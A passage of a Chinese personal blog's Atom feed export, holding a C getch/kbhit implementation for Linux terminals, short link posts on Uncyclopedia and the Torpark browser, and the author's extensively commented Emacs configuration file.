new_termios.c_cc[VMIN]   = &lt;font color="#ff0000"&gt;1&lt;/font&gt;;&lt;br /&gt;&lt;font color="#008000"&gt;    /*&lt;br /&gt;     * minimum wait time, 1 * 0.10s&lt;br /&gt;     */&lt;/font&gt;&lt;br /&gt;    new_termios.c_cc[VTIME]  = &lt;font color="#ff0000"&gt;1&lt;/font&gt;;&lt;br /&gt;    error                    = tcsetattr( &lt;font color="#ff0000"&gt;0&lt;/font&gt;, TCSANOW, &amp;amp;new_termios );&lt;br /&gt;    tv.tv_sec                = &lt;font color="#ff0000"&gt;0&lt;/font&gt;;&lt;br /&gt;    tv.tv_usec               = &lt;font color="#ff0000"&gt;100&lt;/font&gt;;&lt;br /&gt; &lt;font color="#008000"&gt;   /*&lt;br /&gt;     * insert a minimal delay&lt;br /&gt;     */&lt;br /&gt;&lt;/font&gt;    select( &lt;font color="#ff0000"&gt;1&lt;/font&gt;, NULL, NULL, NULL, &amp;amp;tv );&lt;br /&gt;    error                   += ioctl( &lt;font color="#ff0000"&gt;0&lt;/font&gt;, FIONREAD, &amp;amp;count );&lt;br /&gt;    error                   += tcsetattr( &lt;font color="#ff0000"&gt;0&lt;/font&gt;, TCSANOW, &amp;amp;old_termios );&lt;br /&gt;    return( error == &lt;font color="#ff0000"&gt;0&lt;/font&gt; ? count : &lt;font color="#ff0000"&gt;-1&lt;/font&gt; );&lt;br /&gt;}  &lt;font color="#008000"&gt;/* end of kbhit */&lt;br /&gt;&lt;/font&gt;&lt;font color="#008000"&gt;/*------------------------------------------------*/&lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;int &lt;/font&gt;getch( &lt;font color="#0000ff"&gt;void &lt;/font&gt;) &lt;/div&gt;&lt;br/&gt;&lt;div&gt;{&lt;br /&gt;      &lt;font color="#0000ff"&gt;int &lt;/font&gt;c = &lt;font color="#ff0000"&gt;0&lt;/font&gt;;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;      &lt;font color="#0000ff"&gt;struct &lt;/font&gt;termios org_opts, new_opts;&lt;br /&gt;      &lt;font color="#0000ff"&gt;int &lt;/font&gt;res = &lt;font color="#ff0000"&gt;0&lt;/font&gt;;&lt;br /&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;          &lt;font color="#008000"&gt;//-----  store old settings -----------&lt;br /&gt;&lt;/font&gt;      res = tcgetattr( STDIN_FILENO, &amp;amp;org_opts );&lt;br /&gt;      assert( res == &lt;font color="#ff0000"&gt;0&lt;/font&gt; );&lt;br /&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;          &lt;font color="#008000"&gt;//---- set new terminal parms --------&lt;br /&gt;&lt;/font&gt;      memcpy( &amp;amp;new_opts, &amp;amp;org_opts, &lt;font color="#0000ff"&gt;sizeof&lt;/font&gt;(new_opts) );&lt;br /&gt;      new_opts.c_lflag &amp;amp;= ~( ICANON | ECHO | ECHOE | ECHOK | ECHONL | ECHOPRT | ECHOKE | ICRNL );&lt;br /&gt;      tcsetattr( STDIN_FILENO, TCSANOW, &amp;amp;new_opts );&lt;br /&gt;      c = getchar();&lt;br /&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;          &lt;font color="#008000"&gt;//------  restore old settings ---------&lt;br /&gt;&lt;/font&gt;      res = tcsetattr( STDIN_FILENO, TCSANOW, &amp;amp;org_opts );&lt;br /&gt;      assert( res == &lt;font color="#ff0000"&gt;0&lt;/font&gt; );&lt;br /&gt;      &lt;font color="#0000ff"&gt;return&lt;/font&gt;( c );&lt;br /&gt;}&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-6398741169094433191?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/6398741169094433191/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=6398741169094433191' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6398741169094433191'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6398741169094433191'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2007/03/linuxgetchkbhit.html' title='linux下的getch函数与kbhit函数'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-3243093002841188743</id><published>2006-10-25T22:35:00.000+08:00</published><updated>2010-09-30T10:40:27.115+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>伪基百科uncyclopedia</title><content type='html'>&lt;div&gt;林子大了，什么鸟都有。维基百科做大了，于是就出现了恶搞的伪基百科。&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;a href="http://www.uncyclopedia.org"&gt;http://www.uncyclopedia.org&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-3243093002841188743?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/3243093002841188743/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=3243093002841188743' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3243093002841188743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3243093002841188743'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2006/10/uncyclopedia.html' title='伪基百科uncyclopedia'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-1266345762478497745</id><published>2006-09-27T02:18:00.000+08:00</published><updated>2010-09-30T10:40:27.101+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>安全的浏览器Torpark，从此再也不怕GFW了</title><content type='html'>&lt;div&gt;&lt;a href="http://torpark.nfshost.com/"&gt;http://torpark.nfshost.com/&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-1266345762478497745?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/1266345762478497745/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=1266345762478497745' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1266345762478497745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1266345762478497745'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2006/09/torparkgfw.html' title='安全的浏览器Torpark，从此再也不怕GFW了'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-1117834253068428532</id><published>2006-09-14T03:03:00.000+08:00</published><updated>2010-09-30T10:40:27.085+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>My Emacs config file</title><content type='html'>&lt;p&gt;(create-fontset-from-fontset-spec&lt;br /&gt; &amp;quot;-misc-fixed-medium-r-*-*-16-*-*-*-c-*-fontset-global,&lt;br /&gt;  chinese-gb2312:-*-*-medium-r-normal-*-16-*-*-*-*-*-gb2312.1980-*&amp;quot;)&lt;br/&gt;&lt;p&gt;;(setq default-frame-alist&lt;br /&gt;;      (append '((font . &amp;quot;fontset-global&amp;quot;)) default-frame-alist))&lt;br /&gt;   &lt;br /&gt;(set-language-environment 'Chinese-GB)&lt;br /&gt;(set-keyboard-coding-system 'euc-cn)&lt;br /&gt;(set-clipboard-coding-system 'euc-cn)&lt;br /&gt;(set-terminal-coding-system 'euc-cn)&lt;br /&gt;(set-buffer-file-coding-system 'euc-cn)&lt;br /&gt;(set-selection-coding-system 'euc-cn)&lt;br /&gt;(prefer-coding-system 'euc-cn)&lt;br /&gt;(setq default-process-coding-system 'euc-cn)&lt;br /&gt;(setq-default pathname-coding-system 'euc-cn)&lt;br/&gt;&lt;p&gt;;; 改变 Emacs 固执的要你回答 yes 的行为。按 y 或空格键表示 yes，n 表示 no。&lt;br /&gt;(fset 'yes-or-no-p 'y-or-n-p)&lt;br/&gt;&lt;p&gt;;;高亮显示要拷贝的区域&lt;br /&gt;(transient-mark-mode t)&lt;br/&gt;&lt;p&gt;;;显示匹配的括号&lt;br /&gt;(show-paren-mode t)&lt;br/&gt;&lt;p&gt;;;显示大文件时加快速度&lt;br /&gt;(setq lazy-lock-defer-on-scrolling t)&lt;br /&gt;(setq font-lock-support-mode 'lazy-lock-mode)&lt;br /&gt;(setq font-lock-maximum-decoration t)&lt;br/&gt;&lt;p&gt;;;不要生成临时文件&lt;br /&gt;(setq-default make-backup-files nil)&lt;br/&gt;&lt;p&gt;;;使用shift + -&amp;gt; 或&amp;lt;- 选取内容&lt;br /&gt;(pc-selection-mode t)&lt;br/&gt;&lt;p&gt;(add-hook 'c-mode-hook 'linux-c-mode)&lt;br /&gt;(add-hook 'c++-mode-hook 'linux-cpp-mode)&lt;br /&gt;;; 设置imenu的排序方式为按名称排序&lt;br /&gt;(setq imenu-sort-function 'imenu--sort-by-name)&lt;br /&gt;(defun linux-c-mode() &lt;br /&gt;;; 将回车代替C-j的功能，换行的同时对齐&lt;br /&gt;  (define-key c-mode-map [return] 'newline-and-indent)&lt;br /&gt;  (interactive) &lt;br /&gt;;; 设置C程序的对齐风格&lt;br /&gt;  (c-set-style &amp;quot;K&amp;amp;R&amp;quot;) &lt;br /&gt;;; 自动模式，在此种模式下当你键入{时，会自动根据你设置的对齐风格对齐&lt;br /&gt;  (c-toggle-auto-state)&lt;br /&gt;;; 此模式下，当按Backspace时会删除最多的空格&lt;br /&gt;  (c-toggle-hungry-state)&lt;br /&gt;;; TAB键的宽度设置为4&lt;br /&gt;  (setq c-basic-offset 4)&lt;br /&gt;;; 在菜单中加入当前Buffer的函数索引&lt;br /&gt;  (imenu-add-menubar-index)&lt;br /&gt;;; 在状态条上显示当前光标在哪个函数体内部&lt;br /&gt;  (which-function-mode) &lt;br /&gt; ) &lt;br /&gt;(defun linux-cpp-mode() &lt;br /&gt;  (define-key c++-mode-map [return] 'newline-and-indent)&lt;br /&gt;  (define-key c++-mode-map [(control c) (c)] 'compile)&lt;br /&gt;  (interactive) &lt;br /&gt;  (c-set-style &amp;quot;K&amp;amp;R&amp;quot;) &lt;br /&gt;  (c-toggle-auto-state)&lt;br /&gt;  (c-toggle-hungry-state)&lt;br /&gt;  (setq c-basic-offset 8)&lt;br /&gt;  (imenu-add-menubar-index)&lt;br /&gt;  (which-function-mode)&lt;br /&gt;  )&lt;br /&gt;  &lt;br /&gt;;;不用 TAB 字符来indent, 这会引起很多奇怪的错误。编辑 Makefile 的时候也不用&lt;br /&gt;;;担心，因为 makefile-mode 会把 TAB 键设置成真正的 TAB 字符，并且加亮显示的&lt;br /&gt;(setq-default indent-tabs-mode nil)&lt;br /&gt;(setq default-tab-width 8)&lt;br /&gt;(setq tab-stop-list ())&lt;br /&gt;;(loop for x downfrom 40 to 1 do&lt;br /&gt;;      (setq tab-stop-list (cons (* x 4) tab-stop-list)))&lt;br/&gt;&lt;p&gt;;;把这些缺省禁用的功能打开&lt;br /&gt;(put 'set-goal-column 'disabled nil)&lt;br /&gt;(put 'narrow-to-region 'disabled nil)&lt;br /&gt;(put 'upcase-region 'disabled nil)&lt;br /&gt;(put 'downcase-region 'disabled nil)&lt;br /&gt;(put 'LaTeX-hide-environment 'disabled nil)&lt;br/&gt;&lt;p&gt;;;-------------------------让Emacs拥有tabs-------------------&lt;br /&gt;;;http://learn.tsinghua.edu.cn/homepage/2001315450/emacs_elisp.html&lt;br /&gt;;;到上面的网页下载tabbar.el 保存到/usr/share/emacs/site-lisp/&lt;br /&gt;(require 'tabbar)&lt;br /&gt;(tabbar-mode)&lt;br /&gt;(define-prefix-command 'lwindow-map)&lt;br /&gt;;;(global-set-key (kbd &amp;quot;&amp;quot;) 'lwindow-map)&lt;br /&gt;(global-set-key (kbd &amp;quot;&amp;quot;) 'tabbar-backward-group)&lt;br /&gt;(global-set-key (kbd &amp;quot;&amp;quot;) 'tabbar-forward-group)&lt;br /&gt;(global-set-key (kbd &amp;quot;&amp;quot;) 'tabbar-backward)&lt;br /&gt;(global-set-key (kbd &amp;quot;&amp;quot;) 'tabbar-forward)&lt;br /&gt;;;使用Win+方向键在tabbed buffer之间切换&lt;br/&gt;&lt;p&gt;;;调整tab的配色&lt;br /&gt;(custom-set-faces&lt;br /&gt;;; custom-set-faces was added by Custom.&lt;br /&gt;;; If you edit it by hand, you could mess it up, so be careful.&lt;br /&gt;;; Your init file should contain only one such instance.&lt;br /&gt;;; If there is more than one, they won't work right.&lt;br /&gt;'(tabbar-selected-face ((t (:inherit tabbar-default-face :background &amp;quot;#F0F0E8&amp;quot; :foreground &amp;quot;black&amp;quot; :box (:line-width 2 :color &amp;quot;white&amp;quot; :style released-button) :weight semi-bold :height 1.3))))&lt;br /&gt;'(tabbar-unselected-face ((t (:inherit tabbar-default-face :background &amp;quot;grey&amp;quot; :foreground &amp;quot;black&amp;quot; :box (:line-width 2 :color &amp;quot;grey&amp;quot; :style pressed-button) :height 1.3)))))&lt;br/&gt;&lt;p&gt;&lt;br /&gt;  ;;;;;;;;;;  global setting&lt;br /&gt;;;(set-scroll-bar-mode nil) ;; 去掉滚动条&lt;br /&gt;;;(tool-bar-mode -1) ;; 去掉工具栏&lt;br /&gt;(setq require-final-newline t) ;; 以空行结束&lt;br /&gt;(add-to-list 'load-path (expand-file-name &amp;quot;F:/emacs/site-lisp/&amp;quot;)) ;; set load-path &lt;br /&gt;(setq visible-bell t) ;; 关闭出错时的提示声&lt;br /&gt;(setq inhibit-startup-message t) ;;关闭开启画面&lt;br /&gt;(setq column-number-mode t) ;; 显示列号&lt;br /&gt;(setq mouse-yank-at-point t) ;; 用光标定位文本插入位置&lt;br /&gt;(setq kill-ring-max 200) ;; 设置粘贴缓冲条目数量&lt;br /&gt;(setq enable-recursive-minibuffers t) ;; 设置递归使用minibuffer&lt;br /&gt;;;(setq scroll-margin 3&lt;br /&gt;;;      scroll-conservatively 10000) ;;防止页面滚动时跳动&lt;br /&gt;(setq default-major-mode 'text-mode) ;;设置默认模式是text mode&lt;br /&gt;(show-paren-mode t)&lt;br /&gt;(setq show-paren-style 'parentheses) ;; 设置显示括号匹配，但不跳转&lt;br /&gt;(mouse-avoidance-mode 'animate) ;;让鼠标不要挡住光标&lt;br /&gt;(setq user-full-name &amp;quot;kpld&amp;quot;)&lt;br /&gt;(setq user-mail-address &amp;quot;&lt;a href="mailto:kpld@hotmail.com"&gt;kpld@hotmail.com&lt;/a&gt;&amp;quot;)&lt;br /&gt;(setq frame-title-format &amp;quot;&lt;a href="mailto:emacs@%b"&gt;emacs@%b&lt;/a&gt;&amp;quot;) ;;在标题栏显示buffer的名字，而不是 &lt;a href="mailto:emacs@wangyin.com"&gt;emacs@wangyin.com&lt;/a&gt; 这样没用 的提示。&lt;br /&gt;(global-font-lock-mode t) ;; 进行语法加亮&lt;br /&gt;(setq next-line-add-newlines nil&lt;br /&gt;      resize-mini-windows t&lt;br /&gt;      track-eol t&lt;br /&gt;      kill-whole-line t&lt;br /&gt;      Man-notify-method 'pushy&lt;br /&gt;      woman-cache-level 2&lt;br /&gt;      woman-cache-filename nil&lt;br /&gt;      uniquify-buffer-name-style 'forward&lt;br /&gt;      vc-follow-symlinks t&lt;br /&gt;      line-move-ignore-invisible t&lt;br /&gt;      ring-bell-function 'ignore&lt;br /&gt;      tooltip-gud-tips-p t)&lt;br/&gt;&lt;p&gt;   &lt;br /&gt;;;让emacs在windows上启动时最大化&lt;br /&gt;;;修改注册表如下&lt;br /&gt;;;[HKEY_LOCAL_MACHINE\SOFTWARE\GNU\Emacs] &lt;br /&gt;;;&amp;quot;EMACS.Toolbar&amp;quot;=&amp;quot;0&amp;quot;&lt;br /&gt;(w32-send-sys-command #xf030)&lt;br /&gt;;(defun w32-restore-frame () &lt;br /&gt;;&amp;quot;Restore a minimized frame&amp;quot; &lt;br /&gt;;(interactive) &lt;br /&gt;;(w32-send-sys-command 61728)) &lt;br /&gt;;(defun w32-maximize-frame () &lt;br /&gt;;&amp;quot;Maximize the current frame&amp;quot; &lt;br /&gt;;(interactive) &lt;br /&gt;;(w32-send-sys-command 61488)) &lt;br /&gt;;(w32-maximize-frame)&lt;br/&gt;&lt;p&gt;   &lt;br /&gt;;; 设置备份版本控制 start&lt;br /&gt;(setq version-control t&lt;br /&gt;      kept-old-versions 2&lt;br /&gt;      kept-new-versions 5&lt;br /&gt;      delete-old-versions t&lt;br /&gt;      backup-directory-alist &lt;br /&gt;      '((&amp;quot;.&amp;quot; . &amp;quot;D:/tmp&amp;quot;) &lt;br /&gt;        (cons tramp-file-name-regexp nil))&lt;br /&gt;      backup-by-copying t&lt;br /&gt;      backup-by-copying-when-linked t&lt;br /&gt;      backup-by-copying-when-mismatch t)&lt;br /&gt;(setq dired-kept-versions 1)&lt;br /&gt;;; 设置备份版本控制 end&lt;br/&gt;&lt;p&gt;(setq dired-recursive-copies 'top) ;;让dired可以递归地拷贝和删除目录&lt;br /&gt;(setq dired-recursive-deletes 'top) ;;&lt;br/&gt;&lt;p&gt;;; 设置显示时间&lt;br /&gt;(display-time-mode 1)&lt;br /&gt;(setq display-time-24hr-format t)&lt;br /&gt;(setq display-time-day-and-date t)&lt;br/&gt;&lt;p&gt;;;;;;;;;;  设置界面 start&lt;br /&gt;(set-cursor-color &amp;quot;Wheat&amp;quot;)&lt;br /&gt;(set-mouse-color &amp;quot;Wheat&amp;quot;)&lt;br /&gt;(set-foreground-color &amp;quot;Wheat&amp;quot;)&lt;br /&gt;(set-background-color &amp;quot;DarkSlateGray&amp;quot;)&lt;br /&gt;;(if window-system&lt;br /&gt;;      (setq default-frame-alist&lt;br /&gt;;                 (append&lt;br /&gt;;                     '( (top . 80)&lt;br /&gt;;                             (left . 100)                               &lt;br /&gt;;                                 (width . 110)&lt;br /&gt;;                                 (height . 35))&lt;br /&gt;;                                      default-frame-alist))&lt;br /&gt;;)&lt;br /&gt;;;;;;;;;;  设置界面 end&lt;br/&gt;&lt;p&gt;&lt;br /&gt;;;;;; Esay Edit for C++/C programming&lt;br /&gt;;; TAB and RET auto align and indent&lt;br /&gt;(add-hook 'c++-mode-hook &lt;br /&gt;   (lambda ()&lt;br /&gt;     (c-set-style &amp;quot;bsd&amp;quot;)&lt;br /&gt;     (hs-minor-mode)&lt;br /&gt;     (local-set-key &amp;quot;\C-c\t&amp;quot; 'complete-symbol)&lt;br /&gt;     (local-set-key &amp;quot;\C-m&amp;quot; 'newline-and-indent)&lt;br /&gt;     (setq mslk-c++-key (make-keymap))&lt;br /&gt;     (local-set-key &amp;quot;\C-j&amp;quot; mslk-c++-key)&lt;br /&gt;     (define-key mslk-c++-key &amp;quot;\C-j&amp;quot; 'complete-symbol)&lt;br /&gt;     (define-key mslk-c++-key &amp;quot;\C-o&amp;quot; 'hs-hide-all)&lt;br /&gt;     (define-key mslk-c++-key &amp;quot;\C-p&amp;quot; 'hs-show-all)&lt;br /&gt;     (define-key mslk-c++-key &amp;quot;\C-h&amp;quot; 'hs-hide-block)&lt;br /&gt;     (define-key mslk-c++-key &amp;quot;\C-u&amp;quot; 'hs-show-block)&lt;br /&gt;     (define-key mslk-c++-key &amp;quot;\C-l&amp;quot; 'hs-hide-level)&lt;br /&gt;     (define-key mslk-c++-key &amp;quot;\C-m&amp;quot; 'hs-toggle-hiding)&lt;br /&gt;     ))&lt;br /&gt;(add-hook 'c-mode-hook 'c++-mode)&lt;br /&gt;(defun my-indent-or-complete ()&lt;br /&gt;      (interactive)&lt;br /&gt;      (if (looking-at &amp;quot;\\&amp;gt;&amp;quot;)&lt;br /&gt;          (hippie-expand nil)&lt;br /&gt;          (indent-for-tab-command)))&lt;br /&gt;    (add-hook 'c-mode-common-hook&lt;br /&gt;          (function (lambda ()&lt;br /&gt;                      (define-key c-mode-base-map [(tab)] 'my-indent-or-complete)&lt;br /&gt;                      (define-key c-mode-base-map [(control m)] 'align-newline-and-indent)&lt;br /&gt;                      (c-toggle-auto-state))))&lt;br/&gt;&lt;p&gt;&lt;br /&gt;;;;;;;;;;;;;;;;; 调用Lisp扩展包&lt;br /&gt;;;;;;;;; load ido.el&lt;br /&gt;(require 'ido)&lt;br /&gt;(ido-mode t)&lt;br/&gt;&lt;p&gt;(autoload 'table-insert &amp;quot;table&amp;quot; &amp;quot;WYGIWYS table editor&amp;quot;) ;;所见即所得做表格&lt;br/&gt;&lt;p&gt;(require 'recentf) ;; 保存最近打开的文件&lt;br /&gt;(recentf-mode 1)&lt;br /&gt;(defun recentf-open-files-compl ()&lt;br /&gt;  (interactive)&lt;br /&gt;  (let* ((all-files recentf-list)&lt;br /&gt;  (tocpl (mapcar (function &lt;br /&gt;    (lambda (x) (cons (file-name-nondirectory x) x))) all-files))&lt;br /&gt;  (prompt (append '(&amp;quot;File name: &amp;quot;) tocpl))&lt;br /&gt;  (fname (completing-read (car prompt) (cdr prompt) nil nil)))&lt;br /&gt;    (find-file (cdr (assoc-ignore-representation fname tocpl))))) &lt;br /&gt;(global-set-key [(control x)(control r)] 'recentf-open-files-compl)&lt;br/&gt;&lt;p&gt;;;;;;;;;;;; global key setting&lt;br /&gt;(global-set-key [home] 'beginning-of-buffer)&lt;br /&gt;(global-set-key [end] 'end-of-buffer)&lt;br /&gt;(custom-set-variables&lt;br /&gt;  ;; custom-set-variables was added by Custom.&lt;br /&gt;  ;; If you edit it by hand, you could mess it up, so be careful.&lt;br /&gt;  ;; Your init file should contain only one such instance.&lt;br /&gt;  ;; If there is more than one, they won't work right.&lt;br /&gt; '(blink-cursor-mode nil nil (frame))&lt;br /&gt; '(column-number-mode t)&lt;br /&gt; '(cua-mode nil)&lt;br /&gt; '(global-font-lock-mode t nil (font-core))&lt;br /&gt; '(show-paren-mode t nil (paren)))&lt;br /&gt;(custom-set-faces&lt;br /&gt;  ;; custom-set-faces was added by Custom.&lt;br /&gt;  ;; If you edit it by hand, you could mess it up, so be careful.&lt;br /&gt;  ;; Your init file should contain only one such instance.&lt;br /&gt;  ;; If there is more than one, they won't work right.&lt;br /&gt; )&lt;br/&gt;&lt;p&gt; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;  ;;                  在EMACS中浏览WEB网页并支持中文                  ;;;&lt;br /&gt;  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;  &lt;br /&gt;;  (require 'w3m-load)&lt;br /&gt;;  (setq w3m-display-inline-image t)&lt;br /&gt;;  (setq w3m-use-mule-ucs t)&lt;br /&gt;;  (setq w3m-use-toolbar t)&lt;br /&gt;;  (setq w3m-use-cookies t)&lt;br /&gt;;  (setq w3m-bookmark-file-coding-system 'chinese-iso-8bit)&lt;br /&gt;;  (setq w3m-coding-system 'chinese-iso-8bit)&lt;br /&gt;;  (setq w3m-default-coding-system 'chinese-iso-8bit)&lt;br /&gt;;  (setq w3m-file-coding-system 'chinese-iso-8bit)&lt;br /&gt;;  (setq w3m-file-name-coding-system 'chinese-iso-8bit)&lt;br /&gt;;  (setq w3m-terminal-coding-system 'chinese-iso-8bit)&lt;br /&gt;;  (setq w3m-input-coding-system 'chinese-iso-8bit)&lt;br /&gt;;  (setq w3m-output-coding-system 'chinese-iso-8bit)&lt;br /&gt;;  (setq w3m-tab-width 8)&lt;br /&gt;;  (setq w3m-home-page &amp;quot;&lt;a href="http://www.gun.org/"&gt;http://www.gun.org&lt;/a&gt;&amp;quot;)&lt;br /&gt;;  (setq w3m-view-this-url-new-session-in-background t)&lt;br/&gt;&lt;p&gt;;  (add-hook 'w3m-fontify-after-hook 'remove-w3m-output-garbages)&lt;br /&gt;;  (defun remove-w3m-output-garbages()&lt;br /&gt;;    (interactive)&lt;br /&gt;;    (let ((buffer-read-only))&lt;br /&gt;;   (setf (point) (point-min))&lt;br /&gt;;   (while (re-search-forward &amp;quot;[\200-\240]&amp;quot; nil t)&lt;br /&gt;;     (replace-match &amp;quot; &amp;quot;))&lt;br /&gt;;   (set-buffer-multibyte t))&lt;br /&gt;;    (set-buffer-modified-p nil))&lt;br/&gt;&lt;p&gt;  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;  ;;                  End of configure W3M in Emacs                    ;;;&lt;br /&gt;  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br/&gt;&lt;p&gt;&lt;br /&gt;  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;  ;;                  Begin of configure Gnus in Emacs                 ;;;&lt;br /&gt;  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;;;Gnus 是个古老的,强大的邮件,新闻阅读lisp程序.&lt;br /&gt;;;设置头像文件可惜我一直没搞定&lt;br /&gt;;(setq message-required-news-headers&lt;br /&gt;;       (nconc message-required-news-headers&lt;br /&gt;;              (list '(X-Face . gnus-random-x-face))))&lt;br/&gt;&lt;p&gt;;;用户资料设定&lt;br /&gt;;(setq user-full-name &amp;quot;kpld&amp;quot;)&lt;br /&gt;;(setq user-mail-address &amp;quot;&lt;a href="mailto:kpld@222.com"&gt;kpld@222.com&lt;/a&gt;&amp;quot;)&lt;br/&gt;&lt;p&gt;;;服务器的设定&lt;br /&gt;;(setq gnus-select-method '(nntp &amp;quot;news.yaako.com&amp;quot;))&lt;br /&gt;;(add-to-list 'gnus-secondary-select-methods '(nntp &amp;quot;news.newsfan.net&amp;quot;))&lt;br /&gt;;(add-to-list 'gnus-secondary-select-methods '(nntp &amp;quot;news.php.net&amp;quot;))&lt;br /&gt;;(add-to-list 'gnus-secondary-select-methods '(nntp &amp;quot;news.newsgroup.com.hk&amp;quot;))&lt;br /&gt;;(add-to-list 'gnus-secondary-select-methods '(nntp &amp;quot;news.CN99.com&amp;quot;))&lt;br /&gt;;(add-to-list 'gnus-secondary-select-methods '(nntp &amp;quot;groups.google.com&amp;quot;))&lt;br/&gt;&lt;p&gt;;;开启代理功能，为了能让gnus支持离线浏览，gnus 5.10.x会自动开启该功能。&lt;br /&gt;;(gnus-agentize)&lt;br/&gt;&lt;p&gt;;;自动换行功能。&lt;br /&gt;;(add-hook 'message-mode-hook&lt;br /&gt;;   (lambda ()&lt;br /&gt;;     (setq fill-column 72);;这里的72是等一行到了72个字符后开始换行&lt;br /&gt;;     (turn-on-auto-fill)))&lt;br /&gt;;(setq message-cite-function 'message-cite-original-without-signature)&lt;br/&gt;&lt;p&gt;;; 设定帖子的字符集&lt;br /&gt;;(setq gnus-summary-show-article-charset-alist '((1 . cn-gb-2312) (2 . big5)))&lt;br /&gt;;(setq gnus-default-charset 'cn-gb-2312)       ;; 默认编码&lt;br /&gt;;(setq gnus-group-name-charset-group-alist '((&amp;quot;.*&amp;quot; . cn-gb-2312)))                 ;; 组名编码 &lt;br /&gt;;(setq gnus-summary-show-article-charset-alist '((1 . cn-gb-2312) (2 . big5)))         ;; 刷新编码&lt;br /&gt;;(setq gnus-newsgroup-ignored-charsets '(unknown-8bit x-unknown iso-8859-1))   ;; 忽略编码&lt;br/&gt;&lt;p&gt;;; 改变阅读新闻时窗口的布局，窗口划分为上4下6（比例）&lt;br /&gt;;(gnus-add-configuration '(article&lt;br /&gt;;                          (vertical 1.0&lt;br /&gt;;                                    (summary .4 point)&lt;br /&gt;;                                    (article 1.0))))&lt;br/&gt;&lt;p&gt;;;开启记分&lt;br /&gt;;(setq gnus-use-adaptive-scoring t)&lt;br /&gt;;(setq gnus-save-score t)&lt;br /&gt;;(add-hook 'mail-citation-hook 'sc-cite-original)&lt;br /&gt;;(add-hook 'message-sent-hook 'gnus-score-followup-article) &lt;br /&gt;;(add-hook 'message-sent-hook 'gnus-score-followup-thread)&lt;br/&gt;&lt;p&gt;;(defvar gnus-default-adaptive-score-alist &lt;br /&gt;;    '((gnus-kill-file-mark (from -10)) &lt;br /&gt;;        (gnus-unread-mark) &lt;br /&gt;; (gnus-read-mark (from 10) (subjnnect 30)) &lt;br /&gt;; (gnus-catchup-mark (subject -10)) &lt;br /&gt;; (gnus-killed-mark (from -1) (subject -30)) &lt;br /&gt;; (gnus-del-mark (from -2) (subject -15)) &lt;br /&gt;; 